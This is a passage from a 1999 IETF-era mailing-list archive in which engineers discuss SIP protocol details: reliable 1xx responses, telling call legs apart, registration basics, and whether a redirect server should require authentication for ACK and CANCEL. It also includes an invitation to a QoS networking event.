From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> writes:
>Adam B. Roach wrote:
>> 
>> We've been putting together a design with reliable 1xx messages
>> based on draft-ietf-mmusic-sip-100rel-00.txt, and I've run into
>> a strange situation.
...
>> 1) Read literally, the current draft would seem to imply that an
>>    INVITE message would be used to acknowledge a 100 class message
>>    sent in response to, for example, BYE. The dangers in doing so
>>    should be obvious.
>
>The draft is really targeted at INVITE. We hadn't considered other
>methods, since they are substantially less important. INVITE, unlike
>other methods, generally requires human interaction to answer. For most
>other requests, the final response comes almost immediately (of course,
>this doesn't have to be the case). Furthermore, the main reasons for 1xx
>reliability are interoperability with the PSTN, where the provisional
>responses to the original INVITE are needed. Its not necessary to get
>them for other methods. So, in the interests of simplicity, I would vote
>for keeping this just for INVITE, unless there is a compelling reason
>otherwise.

This sounds good to me (especially after further consideration, during
which I realised that even *final* responses are not ACKed). Perhaps the
next version of the spec should directly address the fact that
reliable 1xx responses do not apply to non-INVITE responses.

>Also, I believe you had mentioned in a previous note that the spec
>allows proxies to not forward provisional responses. I agree this should
>be changed, making it mandatory to forward them in order to achieve end
>to end (rather than hop by hop) reliability. However, there is an issue
>here: response implosion. A request which forks multiple times might
>generate lots of provisional responses. This is one of the reasons why
>forwarding them is optional in the first place (and why forwarding 100
>(not 1xx) responses is not allowed). So, we can:
>
>1. not worry about it, since the implosion problem may not be that
>severe (a fork to 1000 UAS is unlikely)
>
>2. disallow forking when reliable provisional responses are used
>
>I'm inclined to not worry about it, but I'd welcome comments otherwise.

I agree that option 1 seems to be the most appropriate. Forking proxies
are too useful to disallow in PSTN interworking situations.

--
Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
adam.roach@ericsson.com    |                  <*> | USA

From confctrl-owner  Thu May  6 17:53:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA22762
	for confctrl-outgoing; Thu, 6 May 1999 17:53:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA22739
	for <confctrl@zephyr.isi.edu>; Thu, 6 May 1999 17:53:20 -0700 (PDT)
Received: from ziggy.stardust.com (root@ns.stardust.com [205.184.205.34])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA18992
	for <confctrl@isi.edu>; Thu, 6 May 1999 17:53:19 -0700 (PDT)
Received: from WHITESTAR (dhcp204-106.stardust.com [205.184.204.106])
	by ziggy.stardust.com (8.9.3/8.9.3/Debian/GNU) with SMTP id RAA16566
	for <confctrl@ISI.EDU>; Thu, 6 May 1999 17:50:33 -0700
Message-Id: <3.0.5.32.19990506174951.00a1f5f0@stardust.com>
X-Sender: martinb@stardust.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Thu, 06 May 1999 17:49:51 -0700
To: confctrl@ISI.EDU
From: Marty Bickford <martinb@stardust.com>
Subject: Quality of Service Forum Reception and Network Demo
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The Quality of Service Forum is extending an invitation to join us at the
Quality of Service Forum Networking Reception. The highlights of the
reception will include the QoS Network Showcase demonstration and a great
networking opportunity.

QOSF Reception and QoS Network Showcase
---------------------------------------
 ~ QoS Network Showcase demonstration. We'll demonstrate end-to-end QoS
capabilities in an extensive IP network. You'll see the difference between
QoS and non-QoS impact on numerous application categories and via empirical
measurement tools that graphically show the traffic impact of QoS
capabilities. This network reveals current vendor support and
interoperability between emerging products which support new QoS protocols.

Network: http://www.stardust.com/iband2/network.jpg

Description: http://www.stardust.com/iband2/qos-showcase.htm

~ Great networking opportunity to meet with QOSF members and non-members,
ISP's, IP network engineers and the press. You'll learn how the Quality of
Service Forum is playing an important role in the adoption of QoS.

~ Qosnetics will sponsor the QOSF Reception which will be held in concert
with the QOS NetworkShowcase demonstration. You are invited to attend.

~ Participating companies include: 3Com, Abatis, Cisco Systems, Extreme,
Fujitsu, IBM, Intel, IP Highway, IPivot, Lucent, Microsoft, Nortel, Novell,
Orchestream, Qosnetics, Xedia, and NetCom Systems.

Logistics
---------
Where: San Francisco Airport Marriott (in coordination with iBAND2). 
       Signs will assist you to the meeting location.
When:  Sunday May 23, 1999 from 6:30pm - 7:30pm
RSVP:  Please RSVP to Sherryl Alameda by May 19th. sherryla@stardust.com

iBAND2 - May 23-25, 1999. San Francisco
---------------------------------------
The Quality of Service Forum is an Association Sponsor of iBAND2.

iBAND2 is targeted at IP Network Professionals in enterprise, service
provider and carrier organizations. At the heart of the event is a 3-track
conference in which the industry’s leading technologists and business
pioneers give leading edge sessions on the technology, deployment and
business of smart bandwidth solutions.

We encourage you to sign-up today at http://www.stardust.com/iband2/

Nortel Networks is the Platinum Sponsor, Intel and NetCom Systems are Gold
Sponsors, the IP Multicast Initiative & the Quality of Service Forum are
Alliance Sponsors, and America's Network, Data Communications, InternetWeek
and tele.com are Publication Sponsors of iBAND2.

Sincerely,
Marty
---
Marty Bickford  - 408.879.8080 (8081-fax)
Stardust Forums - http://www.stardust.com

iBAND2(sm) - The Internet Bandwidth Management Summit

From confctrl-owner  Thu May 13 07:44:44 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA08896
	for confctrl-outgoing; Thu, 13 May 1999 07:44:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA08882
	for <confctrl@zephyr.isi.edu>; Thu, 13 May 1999 07:44:42 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA25666
	for <confctrl@isi.edu>; Thu, 13 May 1999 07:44:41 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id JAA11484; Thu, 13 May 1999 09:49:16 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.3 (778.2 1-4-1999))  id 86256770.0051A5B4 ; Thu, 13 May 1999 09:51:48 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
To: confctrl@ISI.EDU
Message-ID: <86256770.0051A5A5.00@mwgate02.mw.3com.com>
Date: Thu, 13 May 1999 09:50:52 -0500
Subject: how to distinguish call leg if both From and To are same
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




On a proxy server ,

if  I happen to have a call which has the same value of  From  & To fields , how
do I distinguish the call leg. ( e.g a BYE request )

Thanks,

Anoop Tripathi

3COM




From confctrl-owner  Thu May 13 13:56:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA19747
	for confctrl-outgoing; Thu, 13 May 1999 13:56:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA19727
	for <confctrl@zephyr.isi.edu>; Thu, 13 May 1999 13:56:27 -0700 (PDT)
Received: from hubbub.cisco.com (mailgate-sj-1.cisco.com [198.92.30.31])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA00609
	for <confctrl@ISI.EDU>; Thu, 13 May 1999 13:56:26 -0700 (PDT)
Received: from glock (glock.cisco.com [171.68.37.125]) by hubbub.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/CISCO.GATE.1.1) with SMTP id NAA19307; Thu, 13 May 1999 13:55:23 -0700 (PDT)
Message-ID: <017501be9d82$d91b31e0$7d2544ab@glock.cisco.com>
From: "Stephen Sprunk" <ssprunk@cisco.com>
To: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>, <confctrl@ISI.EDU>
Subject: Re: how to distinguish call leg if both From and To are same
Date: Thu, 13 May 1999 15:47:07 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.1
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

You use the Call-ID to disinguish between the calls traversing the proxy.
>From RFC 2543:

6.12 Call-ID
The Call-ID general-header field uniquely identifies a particular
invitation or all registrations of a particular client.
...
These rules guarantee overall global uniqueness of the Call-ID.


Stephen

     |          |         Stephen Sprunk, K5SSS, CCIE #3723
    :|:        :|:        NSA, Network Consulting Engineer
   :|||:      :|||:       14875 Landmark Blvd #400; Dallas, TX
.:|||||||:..:|||||||:.    Pager: 800-365-4578 / 800-901-6078
C I S C O S Y S T E M S   Email: ssprunk@cisco.com

-----Original Message-----
From: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>
To: confctrl@ISI.EDU <confctrl@ISI.EDU>
Date: Thursday, May 13, 1999 10:00
Subject: how to distinguish call leg if both From and To are same


>
>
>
>On a proxy server ,
>
>if  I happen to have a call which has the same value of  From  & To fields
, how
>do I distinguish the call leg. ( e.g a BYE request )
>
>Thanks,
>
>Anoop Tripathi
>
>3COM
>
>


From confctrl-owner  Thu May 13 19:04:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA04026
	for confctrl-outgoing; Thu, 13 May 1999 19:04:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA04013
	for <confctrl@zephyr.isi.edu>; Thu, 13 May 1999 19:04:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA27011
	for <confctrl@isi.edu>; Thu, 13 May 1999 19:04:03 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu May 13 22:02:58 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.58])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id WAA18900;
	Thu, 13 May 1999 22:02:56 -0400 (EDT)
Message-ID: <373B8461.E1F3A32E@dnrc.bell-labs.com>
Date: Thu, 13 May 1999 22:03:13 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: how to distinguish call leg if both From and To are same
References: <86256770.0051A5A5.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I'm not sure what you mean. Are you asking: If a user calls themself,
the caller and callee are both on the same machine and port. So, when a
message arrives, is it for the caller or callee? Not sure its
particularly useful. In any case, you would know by the tags. The names
may be the same, but in one case the tag will appear in the To field (if
the message is destined for the callee), otherwise the From field (if
for the caller).

-Jonathan R.

Anoop Tripathi wrote:
> 
> On a proxy server ,
> 
> if  I happen to have a call which has the same value of  From  & To fields , how
> do I distinguish the call leg. ( e.g a BYE request )
> 
> Thanks,
> 
> Anoop Tripathi
> 
> 3COM

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu May 13 21:41:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA13231
	for confctrl-outgoing; Thu, 13 May 1999 21:41:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA13219
	for <confctrl@zephyr.isi.edu>; Thu, 13 May 1999 21:41:14 -0700 (PDT)
Received: from rmx07.globecomm.net (rmx07.iname.net [165.251.8.75])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA03899
	for <confctrl@ISI.EDU>; Thu, 13 May 1999 21:41:13 -0700 (PDT)
From: raml@iname.com
Received: from weba6.iname.net  by rmx07.globecomm.net (8.9.1/8.8.0) with ESMTP id AAA12339 ; Fri, 14 May 1999 00:41:12 -0400 (EDT)
Received: (from root@localhost)
	by weba6.iname.net (8.9.1a/8.9.2.Alpha2) id AAA00919;
	Fri, 14 May 1999 00:41:12 -0400 (EDT)
MIME-Version: 1.0
Message-Id: <9905140041120P.00437@weba6.iname.net>
Date: Fri, 14 May 1999 00:41:12 -0400 (EDT)
Content-Type: Text/Plain
Content-Transfer-Encoding: 7bit
To: confctrl@ISI.EDU
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Cc:  
           iptel@lists.research.bell-labs.com


Bcc: 
Subject: Basic Questions in SIP

Hi all,

Iam a beginner to SIP.I was going through the RFC2543,
I have some basic doubts:

1) Is it mandatory for all UAC to REGISTER or be 
registered to any SERVER (proxy,redirect) so that
it can be contacted.

2) How does a SERVER send 1xx,2xx responses.

3) Does any UAC receive INVITE or other requests
if so how does it reply.

please bear with me if u find the questions very
silly?

thanks in advance

Ram

---------------------------------------------------
Get free personalized email at http://www.iname.com

From confctrl-owner  Fri May 14 08:06:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA10292
	for confctrl-outgoing; Fri, 14 May 1999 08:06:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA10278
	for <confctrl@zephyr.isi.edu>; Fri, 14 May 1999 08:06:01 -0700 (PDT)
Received: from uqam.ca (anis.telecom.uqam.ca [132.208.250.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA24832
	for <confctrl@ISI.EDU>; Fri, 14 May 1999 08:06:00 -0700 (PDT)
Received: from kingkong ([132.208.135.72])
	by uqam.ca (8.9.2/8.9.2) with SMTP id LAA25546;
	Fri, 14 May 1999 11:05:55 -0400 (EDT)
Message-Id: <3.0.5.32.19990514110826.007eccd0@arabica.info.uqam.ca>
X-Sender: gosselin@arabica.info.uqam.ca
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Date: Fri, 14 May 1999 11:08:26 -0400
To: raml@iname.com, confctrl@ISI.EDU
From: Christian Gosselin <gosselin@info.uqam.ca>
Subject: Re: 
In-Reply-To: <9905140041120P.00437@weba6.iname.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id IAA10280
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 12:41 AM 5/14/99 -0400, raml@iname.com wrote:
>
>Cc:  
>           iptel@lists.research.bell-labs.com
>
>
>Bcc: 
>Subject: Basic Questions in SIP
>
>Hi all,
>
>Iam a beginner to SIP.I was going through the RFC2543,
>I have some basic doubts:
>
>1) Is it mandatory for all UAC to REGISTER or be 
>registered to any SERVER (proxy,redirect) so that
>it can be contacted.

The UA is responsible for the registration and the request is sent by the
UAC. If your last registration is not expired then it's not necessary to
register again. If your not registered anywhere I don't see how you could
receive invitation, as mention in the rfc2543 p.34 "the support for the
REGISTER is RECOMMENDED".

>
>2) How does a SERVER send 1xx,2xx responses.

not sure I understand the question.

>
>3) Does any UAC receive INVITE or other requests
>if so how does it reply.

UAC don't receive request they send them. All received request (INVITE,
ACK, BYE, OPTIONS and REGISTER) are handle by servers (redirect, proxy or
UAS). Read: Requirements for SIP Servers and User Agents. If the call is
successful the recipient (UAS) of an INVITE responds by a 200 OK.

>
>please bear with me if u find the questions very
>silly?
>
>thanks in advance
>
>Ram
>
>---------------------------------------------------
>Get free personalized email at http://www.iname.com
>


=======================================
Christian Gosselin
Laboratoire téléinformatique de l'UQAM
gosselin@info.uqam.ca
http://www.info.uqam.ca/~gosselin
987-3000 #6189

From confctrl-owner  Fri May 14 10:26:53 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA10180
	for confctrl-outgoing; Fri, 14 May 1999 10:26:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA10165
	for <confctrl@zephyr.isi.edu>; Fri, 14 May 1999 10:26:51 -0700 (PDT)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA11872
	for <confctrl@ISI.EDU>; Fri, 14 May 1999 10:26:50 -0700 (PDT)
Received: from omzrelay.mcit.com ([166.37.204.49])
 by firewall.mcit.com (PMDF V5.2-32 #37788)
 with ESMTP id <0FBQ0068AGCAOG@firewall.mcit.com> for confctrl@ISI.EDU; Fri,
 14 May 1999 17:24:10 +0000 (GMT)
Received: from omzmta01.mcit.com (omzmta01.mcit.com [166.37.194.119])
 by omzrelay.mcit.com (8.8.7/) with ESMTP	id RAA05381; Fri,
 14 May 1999 17:24:48 +0000 (GMT)
Received: from localHost ([166.35.151.149])
 by omzmta01.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990514172406.LFXG27871@localHost>; Fri,
 14 May 1999 17:24:06 +0000
Date: Fri, 14 May 1999 11:51 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
Subject: Re: Basic Questions in SIP
To: Christian Gosselin <gosselin@info.uqam.ca>
Cc: raml@iname.com, confctrl@ISI.EDU
Message-id: <19990514172406.LFXG27871@localHost>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>>1) Is it mandatory for all UAC to REGISTER or be 
>>registered to any SERVER (proxy,redirect) so that
>>it can be contacted.
>
>The UA is responsible for the registration and the request is sent by the
>UAC. If your last registration is not expired then it's not necessary to
>register again. If your not registered anywhere I don't see how you could
>receive invitation, as mention in the rfc2543 p.34 "the support for the
>REGISTER is RECOMMENDED".

 This is only recommended because SIP clients could communicate directly
with each other without servers if they know each others addresses
and there are no firewall issues.  For this reason, it is not mandatory
to register, but in most cases, other users would rely on a server
to find a user.


John Hearty
MCI Worldcom


From confctrl-owner  Fri May 14 11:52:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA17607
	for confctrl-outgoing; Fri, 14 May 1999 11:52:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA17593
	for <confctrl@zephyr.isi.edu>; Fri, 14 May 1999 11:52:25 -0700 (PDT)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA21782
	for <confctrl@ISI.EDU>; Fri, 14 May 1999 11:52:22 -0700 (PDT)
Received: from ndcrelay.mcit.com ([166.37.172.49])
 by firewall.mcit.com (PMDF V5.2-32 #37788)
 with ESMTP id <0FBQ002F2E8CLT@firewall.mcit.com> for confctrl@ISI.EDU; Fri,
 14 May 1999 16:38:36 +0000 (GMT)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
 by ndcrelay.mcit.com (8.8.7/) with ESMTP	id QAA14612; Fri,
 14 May 1999 16:38:03 +0000 (GMT)
Received: from localHost ([166.35.151.149])
 by omta3.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990514163844.MSEW19270@localHost>; Fri,
 14 May 1999 11:38:44 -0500
Date: Fri, 14 May 1999 11:33 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
Subject: Re: how to distinguish call leg if both From and To are same
To: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>
Cc: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, confctrl@ISI.EDU
Message-id: <19990514163844.MSEW19270@localHost>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anoop,

 The BYE request in your example will be as follows if it came from
the calling party:

Callid         : 1234
          To :      3122222222@2.2.2.2
          From :    847*@1.1.1.1

 If it came from the called party, it will be:

Callid         : 1234
          To :      847*@1.1.1.1
          From :    3122222222@2.2.2.2

 Section 16.4 notes that if the callee wants to abort the call, it
simply reverses the To and From feilds.  This is how you distinguish
who sent the BYE.

John Hearty
MCI Worldcom
 


Date: Fri, 14 May 1999 09:00 -0500 (CDT)
From: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Subject: Re: how to distinguish call leg if both From and To are same




Assume an SCN to IP interworking Client ( previously a H323 GW now runnning SIP
).

It registers with proxy server(2.2.2.2)  as

847*@1.1.1.1

A call arrive on the PRI line for phone number (312)2222222 .

The SIP Client  sends the request to proxy as follows:

Request URI : 3122222222@2.2.2.2
Call Id        : 1234
          To :      2.2.2.2
          From :    1.1.1.1

The proxy finds  that  the number is forwarded to (847)3333333.

It sends an INVITE to the same client :

Request URI: (847)3333333:
Callid         : 1234
          To :      2.2.2.2
          From :    1.1.1.1
          Via : 2.2.2.2
Now all other messages are direction sensitive ( e.g. responses and ACKs ).

But what  about the BYE request.

It will always have
Callid         : 1234
          To :      2.2.2.2
          From :    1.1.1.1
          Via : 2.2.2.2

So how do I find out who terminated the call.( It looks like I will have to look
either at the request URI or Via fields to distinguish them .)
Please correct me if I am wrong.

Thanks,

Anoop


Proxy sends




Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> on 05/13/99 09:03:13 PM

Sent by:  Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>


To:   Anoop Tripathi/MW/US/3Com
cc:   confctrl@isi.edu
Subject:  Re: how to distinguish call leg if both From and To are same




I'm not sure what you mean. Are you asking: If a user calls themself,
the caller and callee are both on the same machine and port. So, when a
message arrives, is it for the caller or callee? Not sure its
particularly useful. In any case, you would know by the tags. The names
may be the same, but in one case the tag will appear in the To field (if
the message is destined for the callee), otherwise the From field (if
for the caller).

-Jonathan R.

Anoop Tripathi wrote:
>
> On a proxy server ,
>
> if  I happen to have a call which has the same value of  From  & To fields ,
how
> do I distinguish the call leg. ( e.g a BYE request )
>
> Thanks,
>
> Anoop Tripathi
>
> 3COM

--
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen






From confctrl-owner  Fri May 14 14:37:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA28190
	for confctrl-outgoing; Fri, 14 May 1999 14:37:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA28172
	for <confctrl@zephyr.isi.edu>; Fri, 14 May 1999 14:37:47 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA08060
	for <confctrl@ISI.EDU>; Fri, 14 May 1999 14:37:44 -0700 (PDT)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id QAA22593;
	Fri, 14 May 1999 16:39:38 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id QAA18497;
	Fri, 14 May 1999 16:37:12 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id QAA12626; Fri, 14 May 1999 16:37:11 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id QAA11297;
	Fri, 14 May 1999 16:37:06 -0500 (CDT)
Message-Id: <199905142137.QAA11297@b04a24.exu.ericsson.se>
Subject: Re: Authntication INVITE / BYE | ACK
To: jens.lundstrom@ellemtel.se
Date: Fri, 14 May 1999 16:37:05 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <03b401be9e14$bbcafed0$4bd16482@ellemtel.se> from "=?iso-8859-1?Q?Jens_Lundstr=F6m?=" at May 14, 99 03:19:09 pm
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>You have a SIP Redirect Servers that demands authentication for INVITE
>requests.
>Now consider the following using UDP for transport:
>
>(1) a UAC issues an unauthenticated INVIVTE to the Server.
>(2) the server responds with a 401
>(3) the UAC sends authenticated INVITE to the Server
>(4) the server sends a provisional 100 response
>(5) the servers sends a final 3xx response
>(6) The client sends an authenticated ACK to the Server

It is worth noting that, between steps 2 and 3, the UAC should send
an ACK to the server.

>Now what is the correct behavioural of the Redirect Server when:
>
>* the client sends and unauthenticated ACK in step (6) ?

This one is the tough one.  Owing to the purpose of the ACK, I'd 
think that there is no harm in accepting the ACK despite its lack
of authentication.

The only "attack" on this type of security is if someone tries
to send an ACK in your stead. (Perhaps to screw up codec negotiation?)
Anyway, to do this, they'd have to be sniffing packets. Without
putting some sort of challenge in the final 3xx response , the
 authentication string will be the same one that you sent in step (3),
which the snooper would have been able to capture anyway.

So, requiring authentication for ACK messages does not seem to
buy you any security at all.

>* the client sends an unauthenticated BYE or CANCEL at anytime
>between (3) and (6) to the server ?

BYE isn't valid before the INVITE transaction is complete.

If they send an unauthenticated CANCEL, reply with a 401.
In fact, accepting an "authenticated" CANCEL without a
new challenge raises the same snooping issues as ACK does,
so this should be the normal case.

(1) a UAC issues an unauthenticated INVIVTE to the Server.
(2) the server responds with a 401
(3) the client send an ACK to the server
(4) the UAC sends authenticated INVITE to the Server
(5) the server sends a provisional 100 response
(6) the UAC sends an unauthenticated CANCEL to the server
(7) the server responds with a 401
(8) the UAC sends an authenticated CANCEL to the server
(9) the server responds with a 200

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Fri May 14 20:20:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA27793
	for confctrl-outgoing; Fri, 14 May 1999 20:20:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA27762
	for <confctrl@zephyr.isi.edu>; Fri, 14 May 1999 20:20:08 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA03434
	for <confctrl@isi.edu>; Fri, 14 May 1999 20:20:07 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri May 14 23:18:51 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.73])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA20366;
	Fri, 14 May 1999 23:18:48 -0400 (EDT)
Message-ID: <373CE7AA.DA576C89@dnrc.bell-labs.com>
Date: Fri, 14 May 1999 23:19:06 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: jens.lundstrom@ellemtel.se, confctrl@ISI.EDU
Subject: Re: Authntication INVITE / BYE | ACK
References: <199905142137.QAA11297@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 
> >Now what is the correct behavioural of the Redirect Server when:
> >
> >* the client sends and unauthenticated ACK in step (6) ?
> 
> This one is the tough one.  Owing to the purpose of the ACK, I'd
> think that there is no harm in accepting the ACK despite its lack
> of authentication.

For a redirect server, this is probably OK. The ACK doesn't have any
codec stuff in it at all, since we're not talking about a UAS. It only
